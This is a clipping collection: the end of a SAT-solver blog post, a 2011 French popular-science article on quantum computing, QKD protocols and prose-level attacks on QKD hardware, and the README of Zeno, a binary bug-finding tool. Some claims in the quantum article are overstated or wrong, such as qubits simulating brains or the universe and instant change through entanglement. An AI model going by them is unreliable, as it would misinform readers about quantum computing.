        print "solutions=", solutions
    exit(20) # as in MiniSat
    
    
    
[/code]

As you can see, all it does is enumerate all possible solutions, but prunes
search tree as early as possible. This is backtracking.

The files:
https://github.com/dennis714/yurichev.com/tree/master/blog/SAT\_backtrack.

My other notes about SAT/SMT: https://yurichev.com/writings/SAT\_SMT\_draft-
EN.pdf.

Some comments:
https://www.reddit.com/r/compsci/comments/6jn3th/simplest\_sat\_solver\_in\_120\_lines/.

* * *
→ \[list of blog posts, my twitter/facebook\]

##### The page last updated on 28-June-2017

  

# Informatique quantique et cryptographie « Simon's World

**Created:**| _7/15/2011 2:17:28 PM_  
---|---  
**Updated:**| _7/15/2011 2:17:28 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

## Informatique quantique et cryptographie

La sécurité de la cryptographie est basée sur l’hypothèse que l’attaquant ne
possède pas de moyens de calcul suffisants pour trouver les clefs de
chiffrement en un temps raisonnable : par exemple, RSA est basé sur l’espoir
que l’attaquant n’aie pas les capacités techniques de trouver la clef de
chiffrement. Or, les chercheurs travaillent actuellement à la réalisation de
calculateurs quantiques. Ces ordinateurs, basés sur certaines propriétés
insolites d’objets quantiques, proposent une puissance de calcul qui dépasse
l’entendement pour certains types de calculs par rapport à nos ordinateurs
classiques. Petit tour d’horizon du fonctionnement d’un calculateur quantique
et de ses conséquences sur la cryptographie.

# Petit traité de physique quantique

En raison de ses techniques de calcul différentes, un ordinateur quantique
utilise certaines propriétés d’objets quantiques afin d’effectuer ses calculs.
Il se base principalement sur deux concepts : intrication d’états et
superposition d’états. Le phénomène de décohérence quantique est également à
prendre en compte.

### Principe de superposition d’états quantiques

Les lois de la physique classique que nous côtoyons tous les jours et qui
imprègnent notre représentation du monde n’a plus emprise sur le monde
quantique, qui est soumis à des règles échappant à notre bon sens. Un de ces
phénomènes est la superposition quantique. Il stipule qu’un objet quantique
peut se trouver dans plusieurs états en même temps et n’a nul pareil dans le
cadre de la physique classique. À notre échelle, cela pourrait signifier qu’un
dé lancé ne donne pas un seul nombre, mais les six en même temps dans un état
superposé, ou qu’un objet puisse être à plusieurs endroits à la fois. Il est
naturellement erroné d’utiliser des termes tels « en même temps » ou « à la
fois », mais il s’agit du moyen le plus simple pour désigner un phénomène non
imaginable par notre cerveau de primate habitué au monde newtonien dans lequel
nous avons grandi. Par exemple, on apprend que l’atome d’hydrogène a un
électron tournant autour d’un noyau sur une orbite particulière, alors qu’en
réalité il tourne sur plusieurs orbites à la fois. Au moins deux tentatives
d’explication divisent la communauté scientifique à propos du phénomène de
superposition. Les plus importantes sont l’interprétation de Copenhague qui
dit que seul l’état mesuré après la décohérence \(cf plus bas\) a un sens
physique et que la superposition n’est que résultante de formules
mathématiques, alors que selon la théorie d’Everett, chacun des états est
présent dans un univers parallèle.

### Intrication quantique.

L’intrication quantique est un phénomène concernant également les états
quantiques d’objets. Elle spécifie que deux objets quantiques intriqués
doivent être considérés comme un seul objet de manière inséparable. Cela a
pour conséquence qu’une modification sur l’un des objets modifie également le
second de manière instantanée et quelque soit la distance qui les sépare.

### Décohérence quantique.

_« C’est bien beau tout ça, mais pourquoi ne puis-je pas être aussi à la fois
dans mon lit et en cours ? »_  
Le phénomène de décohérence constitue une frontière entre notre monde soumis
aux règles de la physique classique et le monde quantique considéré comme
contre intuitif. En effet, comment expliquer que nous autres humains \(ou
toute autre entité intelligente lisant le présent document\), composés
d’atomes aux propriétés quantiques, nous trouvons nous visiblement qu’a un
endroit à la fois. La nécessité de répondre à cette question a été mise en
évidence par le très connu paradoxe du chat du Shrödinger, objet macroscopique
héritant son état mort/vivant d’une particule quantique dans un état de
superposition quantique. Le paradoxe est posé de la manière suivante : un chat
est enfermé dans une boite munie d’un dispositif tuant le chat si un atome se
désintègre. L’atome a par exemple une chance sur deux de se désintégrer en une
minute. Après une expérience d’une minute, l’atome est donc superposé dans les
états désintégré et non désintégré, par conséquent le chat est également à la
fois mort et vivant. Or, aucun chat zombie de la sorte n’a été vu, aussi bien
au coin de notre rue que dans un laboratoire de physique expérimentale. La
décohérence quantique constitue la tentative d’explication la plus communément
admise par la communauté scientifique pour expliquer le phénomène. Selon cette
théorie, les interactions de l’objet quantique avec le reste de son
environnement permettent d’éliminer les superpositions incohérentes \(d’où le
nom de la théorie\) avec le reste de l’environnement. En fait, ces
superpositions restent en théorie réelles, mais deviennent totalement
négligeables. Il faut retenir que la décohérence d’un objet quantique \(le
passage d’états quantiques superposés\) est précipitée par les interactions
avec le monde extérieur. Ainsi, le simple phénomène de mesure décohère l’objet
quantique étudié de manière pratiquement instantanée.

# Et l’ordinateur quantique dans tout ça ?

Nous y arrivons. Toutes les lois précitées servent dans la compréhension du
fonctionnement de l’ordinateur quantique. Au lieu d’utiliser des bits faits de
transistors comme l’ordinateur que vous avez sous les yeux, le calculateur
quantique utilisera des objets quantiques.

### Les qubits

Les quantum-bits sont des objets quantiques \(atome, ion, etc.\) qui peuvent
stocker dans un état superposé des 1 et des 0. Cependant, la lecture de ce
qubit donne soit 1, soit un 0 à cause du phénomène de décohérence cité ci-
dessus. Ce phénomène interdit par exemple la lecture de calcul intermédiaire
ou la copie du qubit \(théorème de non-clonage\).  
L’ajout de qubit dans un processeur quantique augmente ainsi sa puissance
manière exponentielle puisque chaque qubit ajouté double sa puissance de
calcul. Ainsi, un hypothétique ordinateur de « seulement » 100 qubits permet
de simuler un cerveau humain, tandis qu’avec 300 qubits on pourrait simuler la
totalité de l’univers visible depuis le big bang \!  
Les calculs se faisant sur des états superposés, effectuer une unique fois le
calcul sur les qubits équivaut à le faire sur toutes les autres combinaisons
en même temps, alors qu’il faudrait effectuer un calcul sur chaque combinaison
de bits avec un ordinateur classique.  
Il en découle que l’ordinateur quantique est parfait pour résoudre des
problèmes combinatoires \(tel, justement, le cassage de mots de passe\).

### Mise en œuvre : quelques pistes

À cause du phénomène de décohérence et des difficultés de manipulation
d’objets quantiques de taille picomètrique, la longue route vers la mise au
point du calculateur quantique est jonchée d’écueils. Comme expliqué
précédemment, la décohérence est précipitée par les interactions avec des
objets décohérés, comme des microscopes à effet tunnel, des chats ou même des
photons, véhiculant les ondes électromagnétiques. C’est pour cela qu’il est
nécessaire de réduire la température du « processeur » quantique à des
températures proches du zéro absolu afin d’éviter que la chaleur environnante
décohère l’objet quantique sur lequel les calculs sont effectués.

Compte tenu de ces difficultés, les chercheurs travaillent actuellement sur
plusieurs pistes:

**Point quantique :** Il s’agit par exemple d’un électron enfermé dans une
cage d’atomes \(expérimenté par Bell\). Quand ce point est « éclairé » par un
laser, il passe dans un état excité, puis si on le « re-éclaire » il retourne
dans son état fondamental. On peut considérer ces deux états comme codant des
1 et des 0. Il s’agit finalement d’une fonction NOT. Si on envoie la moitié de
l’énergie nécessaire pour faire basculer le système d’un état à un autre,
alors il sera dans un état de superposition : il s’agit de cet état qui nous
intéresse pour effectuer les calculs. On peut imaginer la création d’autres
fonctions plus complexes en arrangeant différemment les points quantiques.
Cependant, cette technologique se heurte à plusieurs difficultés : par exemple
le point quantique reste excité pendant une milliseconde : réduisant ainsi le
temps de cohésion disponible pour effectuer les calculs. De plus, les
difficultés de création de ces points quantiques \(il faut manipuler les
atomes un par un, et utiliser un laser avec une grande précision, aussi bien
pour la visée qu’au niveau de la quantité d’énergie employée\) font que cette
technologie n’est pas encore viable.

**Nuclear magnetic resonance :** Plutôt que de gérer les atomes un par un
comme avec le point quantique, les chercheurs se sont essayés à utiliser une «
mer de molécules ». Cette méthode s’appuie elle aussi sur les températures
proches du zéro absolu, mais permet une décohésion plus tardive. C’est cette
technique qui a été utilisée par IBM en 2001 pour factoriser le nombre 15 à
l’aide d’un calculateur à 7 qubits. \(cette expérimentation historique est une
des plus importantes du domaine.\) Les qubits sont les atomes d’une molécule
organique où le spin des atomes \(sorte de sens de rotation\) est la
caractéristique quantique codant les 1 et les 0. Les scientifiques ont utilisé
des champs magnétiques en utilisant les caractéristiques supraconductrices des
métaux à ces températures pour choisir les spins et pour les lire. Cette
technique est intéressante même si de grandes réserves ont été apportées :
augmenter le nombre de qubits reviendrait à faire des molécules avec plus
d’atomes : mais la lecture via les signaux magnétiques liés aux spins des
qubits devient de plus en plus difficile quand le nombre d’atomes augmente :
pas de solutions sont envisagées au-delà d’une vingtaine de qubits. Il est
intéressant de noter que cette technique utilise un grand nombre de molécules
identiques pour faire les calculs. Le calcul quantique est par nature
statistique : parfois la décohérence peut donner un résultat faux, obligeant
les manipulateurs à faire un grand nombre de fois le calcul afin qu’un
répartition gaussienne des résultats permette de donner la bonne solution.
Naturellement, effectuer plusieurs fois le calcul sera plus rapide qu’un seul
calcul sur les ordinateurs quantiques du fait du travail sur les états
superposés. Ici, le calcul étant fait sur un grand nombre de molécules, la
mesure éclipsera d’elle-même les quelques molécules ayant décohéré sur une
erreur, minoritaires par rapport aux bons résultats.

**La piste des semi-conducteurs :** Il s’agit de la piste la plus prometteuse,
mais aussi de la plus expérimentale. Il s’agit d’utiliser des matériaux semi-
conducteurs pour stocker les qubits à grand renfort de nanotechnologies.
Plusieurs technologies sont expérimentées : certains essayent de piéger des
photons dans des cavités optiques ou des électrons dans des nanostructures
semi-conductrices, ou en utilisant les spins des atomes des impuretés des
semi-conducteurs. Certains scientifiques évoquent aussi la possibilité
d’utiliser des flux électroniques ou électriques à travers des matériaux
particuliers. La perpétuelle problématique de décohésion impliquant d’utiliser
de très basses températures est un frein technologique majeur à la
démocratisation de cette technologie, même si les progrès en nanotechnologie,
chimie ou supraconductivité laissent planer l’espoir d’une technologie plus
simple à mettre en œuvre.

### Le problème de l’algorithmique

Si l’informatique quantique a l’air d’apporter une solution élégante au
plafonnement de la loi de Moore, cette migration, pour utiliser toute la
puissance de calcul promise, doit penser superposition des états. En effet,
les algorithmes doivent être réécrits en prenant en compte les spécificités du
calcul quantique. À l’heure actuelle, peu d’algorithmes ont été développés,
faute d’appareil quantique susceptible de les faire fonctionner. Un des
algorithmes fondateurs de la physique quantique est l’algorithme de Shor, qui
permet de factoriser des nombres en un temps polynomial. C’est cet algorithme
qui a été utilisé par IBM sur son calculateur quantique. Cet algorithme
apporte toute la problématique de l’arrivée de l’informatique quantique : il
peut en effet factoriser les très grands nombres utilisés par les
cryptosystèmes à clef publique, comme RSA, en quelques minutes, alors qu’il
faudrait plusieurs milliers à milliards d’années de calcul à un ordinateur tel
que celui utilisé pour rédiger ce texte. Il est estimé qu’un ordinateur
classique nécessite plusieurs millions de milliards de milliards d’années pour
factoriser un nombre de 1000 chiffres, contre 20 minutes sur un ordinateur
quantique. Cet algorithme contient une partie classique pouvant être effectuée
sur un ordinateur classique, montrant que l’ordinateur quantique sera
probablement un hybride avec des modules classiques et des modules quantiques.  
Un autre algorithme intéressant est celui de Grover, qui était chercheur dans
les laboratoires Bell, comme Shor. Cet algorithme permet de faire de la
recherche dans une base de données non classée en un temps proportionnel à √n
avec une mémoire proportionnelle à log\(n\) où n est le nombre d’entrées. Cet
algorithme peut être utilisé dans une grande variété de problèmes
décisionnels, tel la coloration de graphes ou la résolution de sudokus. Il a
même été prouvé mathématiquement que cet algorithme était le plus efficace en
recherche non structurée en utilisant le calcul quantique. Il est intéressant
de noter que la partie quantique de l’algorithme va trouver instantanément la
bonne réponse en faisant instantanément toutes les vérifications de
correspondance \(toutes les possibilités sont explorées dans des « mondes
parallèles » selon certains\), mais c’est l’extraction de la réponse du
système quantique qui nécessite √n itérations. Là est un des grands problèmes
des ordinateurs quantiques tels qu’on les imagine aujourd’hui : 99 % du temps
de calcul est perdu sur les corrections d’erreurs et la gestion mémoire ou la
convergence vers la solution, alors qu’un pour cent du temps sera
effectivement passé à calculer. C’est un peu comme si vous engagiez un
détective privé pour retrouver une personne sur terre. Ce détective aura juste
besoin de prendre une personne au hasard dans la rue et de vérifier si c’est
la bonne personne pour localiser instantanément l’être recherché. \(Ou, comme
s’il allait questionner une personne différente dans chaque univers parallèle
et c’est le détective dans le bon univers qui revient vous donner la réponse\)
En revanche, celui-ci mettra du temps à bien vouloir vous répondre, mais
beaucoup moins de temps que si vous aviez cherché de manière exhaustive. Les
algorithmes de Shor et Grover sont les plus connus, mais il en existe
d’autres, tel l’algorithme de Simon pour effectuer des tests sur boite noire.

### Le calculateur quantique aujourd’hui.

La conception d’un tel système est à la croisée des deux sciences que sont
l’informatique et la physique quantique. Les budgets alloués à la recherche
sur le sujet ont très nettement augmenté depuis la révélation de l’algorithme
de Shor en 1994, à cause de ses implications sur la cryptographie. En effet,
le premier pays arrivant à maitriser la technologie aura une supériorité
énorme dans le domaine de l’espionnage et du renseignement, au même titre que
Colossus, créée pour casser Enigma et co-réalisé par Turing lors de la Seconde
Guerre mondiale, qui a probablement aidé à une sortie de guerre en notre
faveur. Certains adeptes de théorie du complot évoquent même l’idée que les
services de renseignement américain sont déjà en possession d’une telle
machine, dans le plus grand secret. De grands groupes d’informatique «
classique », comme HP, NEC, Microsoft,Hitachi et bien sûr IBM ont déjà lancé
plus ou moins discrètement des programmes de recherche sur le sujet, tout en
maintenant un très lourd secret industriel sur le sujet. De plus, les États-
Unis d’Amérique investissent cent quarante-neuf millions de dollars chaque
année dans le sujet \(contre douze millions pour l’Union européenne\) Le
Canada et l’Australie dépensent l’équivalent d’un dollar par habitant dans le
domaine, soit plus de deux fois plus que les USA ou six fois plus que le
Japon. L’université de Yale a montré en 2009 un solid state quantum processor
fonctionnel de deux qubits, proche de ce qu’on peut espérer voir un jour
arriver dans nos ordinateurs conventionnels.

Cependant, il semblerait que le marché propose déjà quelques puces utilisant
certains concepts de physique quantique, en témoigne la présentation que
Google a tenu en 2009. Durant cette démonstration, les chercheurs ont montré
un algorithme permettant de trier des photos de voitures plus rapidement que
n’importe quel calculateur existant dans leurs datacenter. Néanmoins, leur
démonstration a été faite en utilisant des processeurs quantiques de la
société canadienne D-Wave, sujette à de nombreuses controverses quant à leur
technologie. Depuis 2008, cette entreprise annonce avoir mis au point un
processeur quantique de 128bit, ce qui n’a jamais été vérifié. Il s’agirait
plutôt d’accélérateurs de calculs utilisant la physique quantique, à mi-chemin
entre un ordinateur classique et un ordinateur quantique, la société
présentant son produit comme un « processeur quantique adiabatique ». Il
serait curieux qu’une entreprise privée ait réussi à intriquer 128 qubits
alors que le record actuel, datant de cette année, est de 14 qubits.
L’entreprise ne donne depuis que très peu de nouvelles, si bien que l’on ne
sait pas croire si elle a fait faillite ou si sa technologie est utilisée dans
le plus grand secret par les services de renseignement…

Dans tous les cas, aucune loi de la physique ne s’oppose à la création d’un
ordinateur quantique : le problème est uniquement d’ordre technologique.
Toujours est-il que la recherche n’en est qu’à ses balbutiements, et de
nombreuses pistes gagneront à être développées, mais on peut espérer que d’ici
une ou deux générations, on comptera autant de physiciens que d’électroniciens
chez les concepteurs d’ordinateur.

# La cryptographie quantique

Alors que l’avènement des calculateurs quantiques promet un bouleversement des
rapports de forces entre les attaquants et les défenseurs dans le domaine de
la cryptographie, il serait élégant que la technologique quantique apporte
également une solution. Par chance, c’est le cas.

### Chiffre de Vernam

Cet algorithme de chiffrement symétrique a beau être d’une simplicité
déconcertante, il n’en est pas moins un des rares qui soit théoriquement
impossible à casser. En revanche, sa mise en pratique s’avère plus épineuse.  
Il utilise un simple masque jetable à appliquer sur le message à chiffrer, une
clef peut donc prendre toutes les formes possibles, de même qu’un message
chiffré : la seule attaque possible serait une bruteforce qui essaierait
toutes les clefs disponibles \(soit 2^n clefs différentes ou n est le nombre
de caractères du message\).

Cependant, l’utilisation de ce masque jetable induit de sévères contraintes :

  * La clef doit faire la même taille que le message à chiffrer.
  * La clef doit être générée de manière totalement aléatoire.
  * La clef ne doit être utilisée qu’une unique fois.
  * La clef doit bien évidemment rester secrète.

C’est ici que la physique quantique intervient : celle-ci est capable de
répondre à toutes ces problématiques d’un seul jet. L’utilisation du Chiffre
de Vernam couplé à la cryptographie quantique garantit une « sécurité
inconditionnelle ». À l’opposée de la sécurité calculatoire, où les
algorithmes prennent en compte les \(in\)capacités de calcul de l’espion, la
sécurité inconditionnelle espère simplement que l’attaquant veuille bien se
soumettre aux lois de la physique de notre univers \(et on l’imagine
difficilement faire autrement\). Le concept de sécurité inconditionnelle ainsi
que la démonstration que le chiffre de Vernam offre une sécurité absolue ont
par ailleurs été démontrés en 1949 par le mathématicien américain Claude
Shannon, alors chercheur chez AT&T.

### Distribution quantique des clefs

**_Protocole BB84_**  
Ce protocole, développé par Bennet et Brassard en 1984, est le premier
protocole décrit, et est par conséquent très documenté. Il utilise la
polarisation des photons. À cause du comportement à la fois ondulatoire et
corpusculaire de la lumière, et in extenso des photons, la propagation des
photons peut être vue comme une onde : sa polarité peut être considérée comme
le sens de propagation de l’onde électromagnétique dans l’espace. Elle peut
par conséquent prendre des valeurs allant de 0° à 180°. La polarisation des
photons est une propriété quantique au même titre que le spin des atomes : on
peut donc également allègrement jouer avec, et les lois de la physique
quantique s’y applique.  
Un photon polarisé verticalement peut passer à travers un polarisateur
vertical, et un photon horizontal peut passer à travers un polarisateur
horizontal. En revanche, tous deux ont 50 % de chance de passer à travers un
polarisateur orienté à 45° \(ou 135°\). Tout cela parait évident, et
complètement conceptualisable par notre approche classique de notre
environnement. Il convient donc d’ajouter que la probabilité de passage du
photon à travers le filtre polarisant orienté en diagonale est indéterministe
et imprévisible. Ensuite, on ne peut mesurer le sens de polarisation qu’en
utilisant un filtre polarisant : si le photon passe, c’est qu’il était
polarisé dans le même sens : on ne peut donc pas mesurer précisément la
polarisation. Enfin, quand un photon passe \(ou ne passe pas\) à travers un
filtre transverse, on ne peut pas retrouver le sens de polarisation original.  
Cet algorithme se base aussi sur le théorème de non-clonage, qui interdit la
copie d’états quantiques inconnus.

Pour expliquer plus en détail le fonctionnement de cet algorithme, nous
retrouvons nos protagonistes chers aux scénarios cryptographiques les plus
fous : Alice, Bob, et la fourbe Ève. Alice et Bob possèdent deux canaux de
communication : un quantique pour s’échanger des photons \(une fibre optique
est tout à fait appropriée\) et un canal plus conventionnel qui peut être
espionné par Ève. Fixons pour cet exemple que des photons polarisés à 0° ou
45° codent des zéros, alors qu’a 90° ou 135° on code des 1. Alice envoie une
clef bit à bit en utilisant des photons polarisés de manière aléatoire entre
les deux possibilités idoines, et note la polarisation employée. Par exemple,
pour envoyer un zéro, elle choisira aléatoirement un angle de 0° ou 45°. À
l’arrivée, Bob positionne son filtre polarisant de manière aléatoire pour
chaque bit photonique reçu. Quand le photon est passé à travers le filtre, il
note un 1, sinon il note un zéro.  
À présent, Alice et Bob doivent communiquer sur les filtres employés : cela
peut se faire via une communication non sécurisée. Bob dit à Alice quel filtre
il a utilisé, et Alice confirme ou infirme avoir utilisé le même filtre. Ils
conservent alors les bits sur lesquels ils ont utilisé le même filtre, qui
constitueront la clef, sans préciser s’il s’agit d’un1 ou d’un 0. Vous êtes
susceptibles de penser qu’il suffit à Ève de « sniffer » les photons échangés
pour trouver la clef : si c’est le cas, je vous invite à relire les propriétés
quantiques des photons citées précédemment. Il convient de rappeler que le
seul instrument à sa disposition pour mesurer la polarité est le filtre
polarisant qu’elle utilisera en position rectiligne ou diagonale. Elle devra
ensuite réémettre un photon polarisé à Bob pour qu’il ne se doute de rien :
mais a 50 % de chances de se tromper et d’employer le mauvais filtre \(puisque
deux polarisations différentes codent un même bit\), et Bob pourra retrouver
ces erreurs dans ces mesures. Normalement, sans aucune perturbation, l’échange
de photons polarisés devrait se faire sans aucune erreur. Dans la réalité, il
existe une petite marge d’erreur à cause du bruit : il faut donc choisir à
partir de quel seuil les erreurs seront considérées comme provenant d’une
tentative d’espionnage. Pour tester la sécurité de la clef, Alice et Bob
échangent la valeur de quelques bits au hasard sur la clef. S’ils trouvent des
erreurs, c’est qu’un tiers a essayé de les espionner. Il faut ensuite
appliquer un code correcteur d’erreur, pour éliminer les erreurs. Si le nombre
d’erreurs dépasse la valeur seuil, la clef est jetée, et le protocole
d’échange de clefs est réitéré. Sinon, ils utilisent la clef créée par la
concaténation des valeurs des bits sur lesquels ils ont utilisé le même filtre
polarisant, en soustrayant les bits utilisés pour vérifier la confidentialité
de l’échange de clef qu’ils pourront utiliser pour chiffrer leur missive en
utilisant par exemple le chiffre de Vernam. Il est intéressant d’ajouter que
même si ce chiffre offre une sécurité inconditionnelle, le débit de donnée
sera limité au débit d’échange du masque. On peut donc se servir des
technologies d’échange quantique des clefs pour des algorithmes plus rapides,
comme l’AES, en changeant fréquemment les clefs.

**_Protocole E91_**  
Ce protocole a été imaginé par Artur Ekert en 1991. Il utilise une paire de
photons intriqués qui peuvent être créés par Alice ou Bob. Ces deux photons
ont donc exactement les mêmes propriétés : leur mesure en utilisant des
filtres polarisés doit donc donner le même résultat. Il est précisé
précédemment qu’un photon polarisé de manière horizontale ou verticale
traversant un filtre en diagonale donne aléatoirement 1 ou 0. Du fait de
l’intrication quantique, les deux photons intriqués traversant chacun de leur
côté le filtre oblique donneront le même résultat, résultat aussi imprévisible
qu’aléatoire. Finalement, qu’importe le filtre choisi, les deux interlocuteurs
trouveront le même résultat. Si Ève lit un des photons, puis qu’elle le
réémet, elle sera soumise au même problème d’erreurs révélées lors de la
phrase de réconciliation qu’avec le BB84, dont cet algorithme n’est qu’une
variation reposant sur le paradoxe EPR.

**_Protocole S09_**  
Ce protocole très récent n’est pas une variante du protocole BB84, et son
fonctionnement est plus proche de la cryptographie asymétrique, ce qui permet
ainsi la communication entre plus de deux pairs. Il utilise uniquement des
canaux de communication quantique, contrairement à BB84 qui utilise aussi un
canal conventionnel pour les phrases de réconciliation ou de transmission du
message chiffré. En revanche, son implémentation est bien plus complexe en
raison de l’échange fréquent de qubits.

Il existe encore une toute petite poignée d’autres algorithmes, très peu
documentés, tels que KMB09 ou SARG04.

### La cryptographique quantique, déjà une réalité

Contrairement à l’ordinateur quantique qui reste une arlésienne, la
cryptographie quantique a déjà été mise en pratique, et plusieurs sociétés
\(majoritairement européennes\) proposent même des produits commerciaux
l’utilisant.

Le record de débit est le fruit de la coopération entre Toshiba et
l’Université de Cambridge. Il est de 1 Mb/s sur 20 km, ou 10 kbit/s sur 100
km. Par ailleurs, le record de distance est de 150 km, suite à une coopération
entre le Nationnal Institute of Standards and Technology \(NIST\) et le
Laboratoire national de Los Alamos \(qui est d’ailleurs le laboratoire
responsable du projet Manhattan et a conçu les bombes d’Hiroshima et
Nagasaki\). Ces deux expérimentations utilisent le protocole BB84 à travers
des fibres optiques.  
En outre, une expérience européenne s’est affranchie de l’utilisation de fibre
optique afin d’utiliser simplement l’air : l’utilisation du protocole E91 a
ainsi permis en 2006 un échange entre deux iles de l’archipel des Canary, soit
144km. La même expérience a même été renouvelée en 2007 en utilisant une
version améliorée de BB84.  
La solution commerciale la plus en vogue est fournie par l’entreprise suisse
id Quantique. Ses produits ont défrayé la chronique en 2007, quand ils ont été
utilisés à Genève pour transmettre les résultats des élections nationales. Ils
ont également été utilisés pour la première fois en 2004 pour une importante
transaction financière requérant une sécurité absolue.  
La DARPA \(agence américaine sur la recherche militaire avancée\) possède par
ailleurs depuis 2004 un réseau de distribution quantique des clefs. Ce réseau
possédant dix nœuds a été réalisé par un consortium réunissant des entreprises
de défense et des Universités britanniques et américaines.  
L’Union européenne a par ailleurs financé à hauteur de 11 millions d’eurosle
réseau SECOQC, lancé en 2008 à Vienne, en réponse au programme d’espionnage
Echelon.

Les courtes distances de transmission s’expliquent par des difficultés
techniques plus qu’une limitation théorique. En effet, afin d’éviter le bruit,
il faut que les fibres optiques soient les plus pures possible, avec le moins
de courbures possible et avec le moins d’épissures \(« soudures » de fibre\)
possible.

### Les faiblesses des implémentations : la porte ouverte aux attaques

La première faiblesse est d’ordre statistique : un photon espionné par Ève
aura 25 % de probabilité de donner une erreur chez Bob : il faut donc que Bob
et Alice sacrifient le plus de bits de leur clef possible pour s’assurer de ne
pas avoir été espionné. La fiabilité de la détection d’un indiscret est de
1-\(3/4\)^n où n est le nombre de bits. À partir d’un certain nombre de bits,
Ève a plus de chance de gagner à Euromillion et de se faire percuter par une
météorite en se faisant manger son troisième bras par un requin en haut du
Chimborazo que de ne pas se faire détecter.  
Bien sûr, on fixera que Ève n’a pas accès aux appareils de Bob et Alice. De
plus, ces derniers devront aussi utiliser un générateur de nombre aléatoire
totalement aléatoire \(la physique quantique peut d’ailleurs répondre à cette
problématique, cf les photons polarisés verticalement ou horizontalement
passant à travers un filtre oblique donnant un 1 ou un 0 de manière
indéterministe\). Enfin, Alice et Bob doivent communiquer de manière
authentifiée pour éviter que Ève se fasse passer pour l’un ou l’autre des
protagonistes. La cryptographie quantique propose d’ailleurs une solution à ce
problème : l’authentification Wegman-Carter.

Une autre faiblesse se base sur la difficulté technique pour l’émetteur
d’envoyer les photons de manière unitaire : le produit commercialisé par id
Quantic emploie en effet des émetteurs qui peuvent envoyer plus d’un photon à
la fois : il suffit donc à Ève de séparer le flux de photon et d’en mesurer
une partie, laissant le reste rejoindre le détecteur de Bob. Elle devra alors
conserver les photons \(c’est tout à fait possible en les faisant passer dans
un milieu à une température proche du zéro absolu afin de les ralentir
drastiquement\) jusqu’a ce que le schéma de polarisation soit révélé sur la
ligne non sécurisée. Cette attaque, photon number splitting attack existe à
cause d’un décalage entre le fonctionnement théorique et l’implémentation
pratique du protocole, qui demande une utilisation de photons à l’unité.
Cependant, les recherches sur l’informatique photonique, basée sur la
manipulation de photons à la place d’électrons, pourront apporter une solution
en promettant de pouvoir toujours envoyer les photons un à un.

Une autre attaque permet de révéler le schéma de polarisation employé par
Alice en envoyant un puissant flash lumineux sur l’émetteur. Une partie du
flash sera réfléchie par l’appareil de mesure derrière le filtre polarisant :
il suffit à Ève de regarder la polarisation de la lumière réfléchie pour
déduire le filtre employé. Une solution proposée est d’utiliser un isolant
optique pour éviter que la lumière entre dans l’émetteur.  
D’autres attaques existent \(faked state attack, remappage de phase ou
décalage temporaire\), mais celles-ci sont malheureusement peu documentées et
exploitent des erreurs ou approximations d’implémentation des équipements.  
Il pourrait être hypothétiquement possible pour Ève de mesurer la polarisation
des photons par weak mesurement. Mais cette mesure induit un retard de
réception des photons par Bob, donc si un jour le weak mesurement devient une
réalité pratique, les protocoles de QKD devront vérifier les délais de
transmission.

Toutes ces attaques se basent sur le fait que l’avancement technologique
actuel ne permet pas de réaliser des appareils permettant d’implémenter de
manière très stricte les protocoles de chiffrement : la sécurité de ceux-ci
n’est donc pas à remettre en cause. Il faut donc espérer qu’avec le temps, la
technologie évolue assez pour que les implémentations exploitent totalement
les possibilités de la cryptographie quantique.

_Les technologies émergentes de l’informatique quantique promettent de grand
changement dans notre vision du monde informatique. En effet, ces nouvelles
formes de traitement de l’informatique ouvrent des possibilités insoupçonnées.
En outre, elle montre que la convergence des sciences et des technologies
apportera un tel niveau de complexité que les futurs bidouilleurs devront
toucher à plus de domaines que celui de l’informatique._

Bibliographie

http://fr.wikipedia.org/wiki/Impossibilit%C3%A9\_du\_clonage\_quantique  
http://fr.wikipedia.org/wiki/Masque\_jetable  
http://en.wikipedia.org/wiki/Quantum\_key\_distribution  
http://www.perimeterinstitute.ca/personal/dgottesman/qsig.html  
http://www.perimeterinstitute.ca/personal/dgottesman/qauthentication.html  
http://wakaziva.pagesperso-orange.fr/crypto/6.htm  
http://www.futura-sciences.com/fr/news/t/informatique/d/le-premier-reseau-
informatique-geant-avec-cryptage-quantique\_16997/  
http://www.needocs.com/document/academique-cours-mathematiques-cryptographie-
quantique-et-teleportation,6300  
http://www.phys.ens.fr/spip.php?article340  
http://arxiv.org/PS\_cache/quant-ph/pdf/0411/0411004v4.pdf  
http://www.secoqc.net  
http://prl.aps.org/abstract/PRL/v94/i23/e230504  
http://arxiv.org/PS\_cache/arxiv/pdf/0908/0908.2146v3.pdf  
http://arxiv.org/abs/0908.2146v3  
http://www.bibmath.net/crypto/moderne/quantique.php3  
http://www.bibmath.net/crypto/moderne/clesec.php3  
http://www.astrosurf.com/luxorion/ordinateur-quantique.htm  
http://www.cnrs.fr/sciencespourtous/abecedaire/pages/heisenberg.htm  
http://alumni.imsa.edu/~matth/quant/  
http://www.popsci.com/technology/article/2009-12/google-algorithm-uses-
quantum-computing-sort-images-faster-ever  
http://www.hobbyprojects.com/progression-of-computer-technology/ibm-led-team-
unveils-most-advanced-quantum-pc.html  
http://www.qubit.org/worldwide-groups.html  
http://www-users.cs.york.ac.uk/~schmuel/  
http://www.research.ibm.com/quantuminfo/  
http://arxiv.org/abs/quant-ph/0012108  
http://epiq.physique.usherbrooke.ca/?section=nouvelles&page=44  
http://weblogs.asp.net/infinitiesloop/archive/2007/07/20/hacking-the-universe-
quantum-mechanics.aspx  
http://www.physique-quantique.wikibis.com/paradoxe\_epr.php

# Traxes/zeno

**Created:**| _3/22/2019 6:04:31 PM_  
---|---  
**Updated:**| _3/22/2019 6:04:31 PM_  
**Author:**| __  
**Tags:**| _Debugging python_  
  

  

# Zeno Framework

# Installation

[code]

    cd ~
    git clone https://github.com/Traxes/zeno --recursive
    sudo pip3 install termcolor tqdm
    git clone https://github.com/Z3Prover/z3 --recursive
    cd z3
    python3 scripts/mk_make.py --python
    cd build
    make
    sudo make install
    cd ~/zeno
    
[/code]

# Usage

[code]

    ~/zeno$ PYTHONPATH=$PYTHONPATH:$HOME/zeno python3 src/main.py
    
[/code]

# Example

For running all plugins on target.bin

[code]

    ~/zeno$ PYTHONPATH=$PYTHONPATH:$HOME/zeno python3 src/main.py target.bin
    
[/code]

# Documentation

# TODO

  * Beauty Code
    * Prefix internal Methods with \_
  * Core
    * Slicing
    * Arch Support
  * Reporter
    * include into Plugin System
  * GUI
  * Extern Interface in DLLs
  * Plugins
    * BufferOverflow
    * Out of Bounds
    * IntegerOverflow
    * Format String
    * Uninitialized Memory 
      * Graph Slicing\!

# False Positive

